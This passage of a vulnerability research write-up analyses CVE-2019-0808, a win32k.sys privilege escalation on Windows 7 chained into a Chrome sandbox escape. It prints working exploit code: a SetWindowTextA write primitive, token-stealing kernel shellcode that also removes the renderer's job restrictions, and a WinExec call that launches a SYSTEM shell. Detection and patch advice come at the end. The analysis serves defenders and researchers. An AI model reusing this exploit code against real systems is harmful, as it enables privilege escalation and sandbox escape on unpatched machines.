By performing this action, when SetWindowText() is called on secondaryWindow, it will proceed to use its overwritten strName.Buffer pointer to determine where the write should be conducted, which will result in secondaryWindow‘s bServerSideWindowProc flag being overwritten if an appropriate value is supplied as the lpString argument to SetWindowText().
Abusing the tagWND Write Primitive to Set the bServerSideWindowProc Bit
Once the strName.Buffer field within secondaryWindow has been set to the address of secondaryWindow‘s bServerSideWindowProc flag, SetWindowText() is called using an hWnd parameter of hSecondaryWindow and an lpString value of “\x06” in order to enable the bServerSideWindowProc flag in secondaryWindow.
// Write the value \x06 to the address pointed to by hSecondaryWindow's strName.Buffer
// field to set the bServerSideWindowProc bit in hSecondaryWindow.
if (SetWindowTextA(hSecondaryWindow, "\x06") == 0) {
printf("[!] SetWindowTextA couldn't set the bServerSideWindowProc bit. Error was: 0x%08X\r\n", GetLastError());
ExitProcess(-1);
}
else {
printf("Successfully set the bServerSideWindowProc bit at: 0x%08X\r\n", (secondaryWindowAddress + 0x16));
The following diagram shows what secondaryWindow‘s tagWND layout looks like before and after the SetWindowTextA() call.
Setting the bServerSideWindowProc flag ensures that secondaryWindow‘s window procedure, sprayCallback(), will now run in kernel mode with SYSTEM level privileges, rather than in user mode like most other window procedures. This is a popular vector for privilege escalation and has been used in many attacks such as a 2017 attack by the Sednit APT group. The following diagram illustrates this in more detail.
Stealing the Process Token and Removing the Job Restrictions
Once the call to SetWindowTextA() is completed, a WM_ENTERIDLE message will be sent to hSecondaryWindow, as can be seen in the following code.
printf("Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM.\r\n");
SendMessageA(hSecondaryWindow, WM_ENTERIDLE, NULL, NULL);
if (success == TRUE) {
printf("[*] Successfully exploited the program and triggered the shellcode!\r\n");
}
else {
printf("[!] Didn't exploit the program. For some reason our privileges were not appropriate.\r\n");
ExitProcess(-1);
}
The WM_ENTERIDLE message will then be picked up by secondaryWindow‘s window procedure sprayCallback(). The code for this function can be seen below.
// Tons of thanks go to https://github.com/jvazquez-r7/MS15-061/blob/first_fix/ms15-061.cpp for
// additional insight into how this function should operate. Note that a token stealing shellcode
// is called here only because trying to spawn processes or do anything complex as SYSTEM
// often resulted in APC_INDEX_MISMATCH errors and a kernel crash.
LRESULT CALLBACK sprayCallback(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if (uMsg == WM_ENTERIDLE) {
WORD um = 0;
__asm
{
// Grab the value of the CS register and
// save it into the variable UM.
mov ax, cs
mov um, ax
}
// If UM is 0x1B, this function is executing in usermode
// code and something went wrong. Therefore output a message that
// the exploit didn't succeed and bail.
if (um == 0x1b)
{
// USER MODE
printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
ExitProcess(-1); // Bail as if this code is hit either the target isn't
// vulnerable or something is wrong with the exploit.
}
else
{
success = TRUE; // Set the success flag to indicate the sprayCallback()
// window procedure is running as SYSTEM.
Shellcode(); // Call the Shellcode() function to perform the token stealing and
// to remove the Job object on the Chrome renderer process.
}
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
As the bServerSideWindowProc flag has been set in secondaryWindow‘s tagWND object, sprayCallback() should now be running as the SYSTEM user. The sprayCallback() function first checks that the incoming message is a WM_ENTERIDLE message. If it is, then inlined shellcode will ensure that sprayCallback() is indeed being run as the SYSTEM user. If this check passes, the boolean success is set to TRUE to indicate the exploit succeeded, and the function Shellcode() is executed.
Shellcode() will perform a simple token stealing exploit using the shellcode shown on abatchy’s blog post with two slight modifications which have been highlighted in the code below.
// Taken from https://www.abatchy.com/2018/01/kernel-exploitation-2#token-stealing-payload-windows-7-x86-sp1.
// Essentially a standard token stealing shellcode, with two lines
// added to remove the Job object associated with the Chrome
// renderer process.
__declspec(noinline) int Shellcode()
{
__asm {
xor eax, eax // Set EAX to 0.
mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
// _KTHREAD is located at FS:[0x124]
mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
mov ecx, eax // Copy current process _EPROCESS structure
xor edx, edx // Set EDX to 0.
mov DWORD PTR [ecx + 0x124], edx // Set the JOB pointer in the _EPROCESS structure to NULL.
mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp [eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + 0xF8], edx // Assign SYSTEM process token.
}
}
The modification takes the EPROCESS structure for Chrome renderer process, and NULLs out its Job pointer. This is done because during experiments it was found that even if the shellcode stole the SYSTEM token, this token would still inherit the job object of the Chrome renderer process, preventing the exploit from being able to spawn any child processes. NULLing out the Job pointer within the Chrome renderer process prior to changing the Chrome renderer process’s token removes the job restrictions from both the Chrome renderer process and any tokens that later get assigned to it, preventing this from happening.
To better understand the importance of NULLing the job object, examine the following dump of the process token for a normal Chrome renderer process. Notice that the Job object field is filled in, so the job object restrictions are currently being applied to the process.
To confirm these restrictions are indeed in place, one can examine the process token for this process in Process Explorer, which confirms that the job contains a number of restrictions, such as prohibiting the spawning of child processes.
If the Job field within this process token is set to NULL, WinDBG’s !process command no longer associates a job with the object.
Examining Process Explorer once again confirms that since the Job field in the Chrome render’s process token has been NULL’d out, there is no longer any job associated with the Chrome renderer process. This can be seen in the following screenshot, which shows that the Job tab is no longer available for the Chrome renderer process since no job is associated with it anymore, which means it can now spawn any child process it wishes.
Spawning the New Process
Once Shellcode() finishes executing, WindowHookProc() will conduct a check to see if the variable success was set to TRUE, indicating that the exploit completed successfully. If it has, then it will print out a success message before returning execution to main().
if (success == TRUE) {
printf("[*] Successfully exploited the program and triggered the shellcode!\r\n");
}
else {
printf("[!] Didn't exploit the program. For some reason our privileges were not appropriate.\r\n");
ExitProcess(-1);
}
main() will exit its window message handling loop since there are no more messages to be processed and will then perform a check to see if success is set to TRUE. If it is, then a call to WinExec() will be performed to execute cmd.exe with SYSTEM privileges using the stolen SYSTEM token.
// Execute command if exploit success.
if (success == TRUE) {
WinExec("cmd.exe", 1);
}
Demo Video
The following video demonstrates how this vulnerability was combined with István Kurucsai’s exploit for CVE-2019-5786 to form the fully working exploit chain described in Google’s blog post. Notice the attacker can spawn arbitrary commands as the SYSTEM user from Chrome despite the limitations of the Chrome sandbox.
Detection of exploitation attempts can be performed by examining user mode applications to see if they make any calls to CreateWindow() or CreateWindowEx() with an lpClassName parameter of “#32768”. Any user mode applications which exhibit this behavior are likely malicious since the class string “#32768” is reserved for system use, and should therefore be subject to further inspection.
Mitigation
Running Windows 8 or higher prevents attackers from being able to exploit this issue since Windows 8 and later prevents applications from mapping the first 64 KB of memory (as mentioned on slide 33 of Matt Miller’s 2012 BlackHat slidedeck), which means that attackers can’t allocate the NULL page or memory near the null page such as 0x30. Additionally upgrading to Windows 8 or higher will also allow Chrome’s sandbox to block all calls to win32k.sys, thereby preventing the attacker from being able to call NtUserMNDragOver() to trigger this vulnerability.
On Windows 7, the only possible mitigation is to apply KB4489878 or KB4489885, which can be downloaded from the links in the CVE-2019-0808 advisory page.
Conclusion
Developing a Chrome sandbox escape requires a number of requirements to be met. However, by combining the right exploit with the limited mitigations of Windows 7, it was possible to make a working sandbox exploit from a bug in win32k.sys to illustrate the 0Day exploit chain originally described in Google’s blog post.
The timely and detailed analysis of vulnerabilities are some of benefits of an Exodus nDay Subscription. This subscription also allows offensive groups to test mitigating controls and detection and response functions within their organisations. Corporate SOC/NOC groups also make use of our nDay Subscription to keep watch on critical assets.